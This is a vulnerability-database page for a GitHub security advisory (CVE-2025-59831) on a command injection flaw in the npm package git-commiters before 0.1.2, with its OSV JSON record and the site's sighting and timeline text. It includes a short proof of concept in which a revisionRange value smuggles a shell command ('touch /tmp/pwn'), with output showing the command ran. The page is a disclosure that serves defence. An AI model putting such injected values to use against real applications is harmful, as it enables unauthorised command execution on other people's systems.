GHSA-G38C-WXJF-XRH6
Vulnerability from github – Published: 2025-09-22 18:01 – Updated: 2025-10-16 20:41Background on the vulnerability
This vulnerability manifests with the library's primary exported API: gitCommiters(options, callback)
which allows specifying options such as cwd for current working directory and revisionRange as a revision pointer, such as HEAD.
However, the library does not sanitize for user input or practice secure process execution API to separate commands from their arguments and as such, uncontrolled user input is concatenated into command execution.
Exploit
- Install
git-commiters@0.1.1or earlier - Initiaizlie a new Git directory with commits in it
- Create the following script in that directory:
var gitCommiters = require("git-commiters");
var options = {
cwd: "./",
revisionRange: "HEAD; touch /tmp/pwn; #",
};
gitCommiters(options, function (err, result) {
if (err) console.log(err);
else console.log(result);
});
- Observe new file created on disk at
/tmp/pwn
The git commiters functionality works as expected, too, despite the command execution, which further hinders the problem as it may not be apparent that a command injection occured on a running application.
@lirantal ➜ /workspaces/git-commiters.js (master) $ node app.js
[
{
email: 'github@qslw.com',
name: 'Morton Fox',
deletions: 1,
insertions: 1,
commits: 1
},
{
email: 'snowyu.lee@gmail.com',
name: 'Riceball LEE',
deletions: 11,
insertions: 1198,
commits: 7
}
]
@lirantal ➜ /workspaces/git-commiters.js (master) $ ls -alh /tmp/pwn
-rw-r--rw- 1 codespace codespace 0 Jul 1 06:09 /tmp/pwn
Credit
Liran Tal
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "git-commiters"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-59831"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-22T18:01:37Z",
"nvd_published_at": "2025-09-25T14:15:46Z",
"severity": "HIGH"
},
"details": "## Background on the vulnerability\n\nThis vulnerability manifests with the library\u0027s primary exported API: `gitCommiters(options, callback)`\nwhich allows specifying options such as `cwd` for current working directory and `revisionRange` as a revision pointer, such as `HEAD`.\n\nHowever, the library does not sanitize for user input or practice secure process execution API to separate commands from their arguments and as such, uncontrolled user input is concatenated into command execution.\n\n## Exploit\n\n1. Install `git-commiters@0.1.1` or earlier\n2. Initiaizlie a new Git directory with commits in it\n3. Create the following script in that directory:\n\n```js\nvar gitCommiters = require(\"git-commiters\");\n\nvar options = {\n cwd: \"./\",\n revisionRange: \"HEAD; touch /tmp/pwn; #\",\n};\ngitCommiters(options, function (err, result) {\n if (err) console.log(err);\n else console.log(result);\n});\n```\n\n3. Observe new file created on disk at `/tmp/pwn`\n\nThe git commiters functionality works as expected, too, despite the command execution, which further hinders the problem as it may not be apparent that a command injection occured on a running application.\n\n```sh\n@lirantal \u279c /workspaces/git-commiters.js (master) $ node app.js\n[\n {\n email: \u0027github@qslw.com\u0027,\n name: \u0027Morton Fox\u0027,\n deletions: 1,\n insertions: 1,\n commits: 1\n },\n {\n email: \u0027snowyu.lee@gmail.com\u0027,\n name: \u0027Riceball LEE\u0027,\n deletions: 11,\n insertions: 1198,\n commits: 7\n }\n]\n\n@lirantal \u279c /workspaces/git-commiters.js (master) $ ls -alh /tmp/pwn\n-rw-r--rw- 1 codespace codespace 0 Jul 1 06:09 /tmp/pwn\n```\n\n# Credit\n\nLiran Tal",
"id": "GHSA-g38c-wxjf-xrh6",
"modified": "2025-10-16T20:41:52Z",
"published": "2025-09-22T18:01:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/snowyu/git-commiters.js/security/advisories/GHSA-g38c-wxjf-xrh6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59831"
},
{
"type": "WEB",
"url": "https://github.com/snowyu/git-commiters.js/commit/7f0abfedbf506e3a61ac875d91324a8dbe756e84"
},
{
"type": "PACKAGE",
"url": "https://github.com/snowyu/git-commiters.js"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "`git-comiters` Command Injection vulnerability"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.